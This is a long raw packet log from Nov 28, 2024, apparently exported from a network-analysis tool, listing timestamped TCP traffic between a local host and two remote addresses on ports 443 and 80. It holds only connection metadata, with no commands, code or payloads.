                                                                                                                                                                Nov 28, 2024 11:01:29.898545027 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:29.899019957 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:29.899069071 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:29.973865032 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:30.015342951 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:30.506275892 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:30.506342888 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:30.506357908 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:30.506383896 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:30.508224964 CET49165443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:30.508244991 CET44349165152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:30.521395922 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:30.641366959 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:30.641491890 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:30.641758919 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:30.762047052 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908387899 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908595085 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.908611059 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908624887 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908637047 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908648968 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908654928 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.908660889 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908674002 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908685923 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.908720970 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.908720970 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.908855915 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908869028 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908880949 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:31.908896923 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.908914089 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:31.914406061 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.028899908 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.028922081 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.029019117 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.109972954 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.110032082 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.110088110 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.110136986 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.114150047 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.114203930 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.114265919 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.114317894 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.122662067 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.122716904 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.122756958 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.122801065 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.131019115 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.131051064 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.131084919 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.131084919 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.139446020 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.139525890 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.139530897 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.139583111 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.147906065 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.147994041 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.148032904 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.148068905 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.156296015 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.156363964 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.156429052 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.156476021 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.165308952 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.165371895 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.165462017 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.165493011 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.173156023 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.173268080 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.173294067 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.173336983 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.180855989 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.180943966 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.180951118 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.181036949 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.188589096 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.188632011 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.188684940 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.190741062 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.310858965 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.310928106 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.310951948 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.310996056 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.312393904 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.312453985 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.312490940 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.312531948 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.317509890 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.317578077 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.317615986 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.317663908 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.322679043 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.322760105 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.322781086 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.322827101 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.327802896 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.327872992 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.327954054 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.327991009 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.332921028 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.332986116 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.332989931 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.333035946 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.338076115 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.338133097 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.338207960 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.338254929 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.343198061 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.343274117 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.343317032 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.343357086 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.348360062 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.348416090 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.348464966 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.348505020 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.353555918 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.353607893 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.353610992 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.353642941 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.358613014 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.358669996 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.358715057 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.358757019 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.363785982 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.363837957 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.363850117 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.363883018 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.368921041 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.368982077 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.369102955 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.369153023 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.374022961 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.374075890 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.374166965 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.374211073 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.379134893 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.379196882 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.379244089 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.379286051 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.384296894 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.384373903 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.384387016 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.384433985 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.512258053 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.512356997 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.512373924 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.512408018 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.513536930 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.513595104 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.513650894 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.513700962 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.517723083 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.517800093 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.517831087 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.517868996 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.521996021 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.522061110 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.522082090 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.522123098 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.526233912 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.526292086 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.526359081 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.526398897 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.530446053 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.530507088 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.530571938 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.530611038 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.534686089 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.534764051 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.534779072 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.534818888 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.538988113 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.539038897 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.539081097 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.539119005 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.543178082 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.543241978 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.543271065 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.543318987 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.547370911 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.547436953 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.547467947 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.547513962 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.551659107 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.551724911 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.551733971 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.551774979 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.555835009 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.555902958 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.555932999 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.555985928 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.560123920 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.560168982 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.560194969 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.560206890 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.564387083 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.564435005 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.564451933 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.564476013 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.568602085 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.568738937 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.568788052 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.568788052 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.572748899 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.572815895 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.572864056 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.572904110 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.576999903 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.577061892 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.577096939 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.577140093 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.581353903 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.581412077 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.581423998 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.581453085 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.585542917 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.585580111 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.585607052 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.585623026 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.589935064 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.589993954 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.590006113 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.590039015 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.594144106 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.594180107 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.594211102 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.594221115 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.598182917 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.598252058 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.598268032 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.598309994 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.602385998 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.602451086 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.713682890 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.713802099 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.713896036 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.715429068 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.715492964 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.715529919 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.715585947 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.718863010 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.718923092 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.719001055 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.719046116 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.722364902 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.722418070 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.722476006 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.722522020 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.725763083 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.725836039 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.725838900 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.725874901 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.729016066 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.729073048 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.729134083 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.729173899 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.732247114 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.732299089 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.732336044 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.732376099 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:32.735512018 CET8049166172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:32.735598087 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:35.779156923 CET4916680192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:43.277072906 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:43.277134895 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:43.277184963 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:43.283987999 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:43.284008026 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.009812117 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.009911060 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:45.011836052 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:45.011843920 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.018718958 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:45.018724918 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.573828936 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:45.629951000 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.630059004 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.630204916 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:45.693979025 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.696331024 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:45.726650953 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:45.750289917 CET49167443192.168.2.22152.231.117.86
                                                                                                                                                                Nov 28, 2024 11:01:45.750309944 CET44349167152.231.117.86192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:45.847254038 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.868590117 CET4916980192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:46.961405993 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961448908 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961462021 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961492062 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961493969 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:46.961513042 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961520910 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:46.961539984 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:46.961551905 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961560965 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:46.961566925 CET8049168172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.961596966 CET4916880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:01:46.961611032 CET4916880192.168.2.22172.232.175.166
